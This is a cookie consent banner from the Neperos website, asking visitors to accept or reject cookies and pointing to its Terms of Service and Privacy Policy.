This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT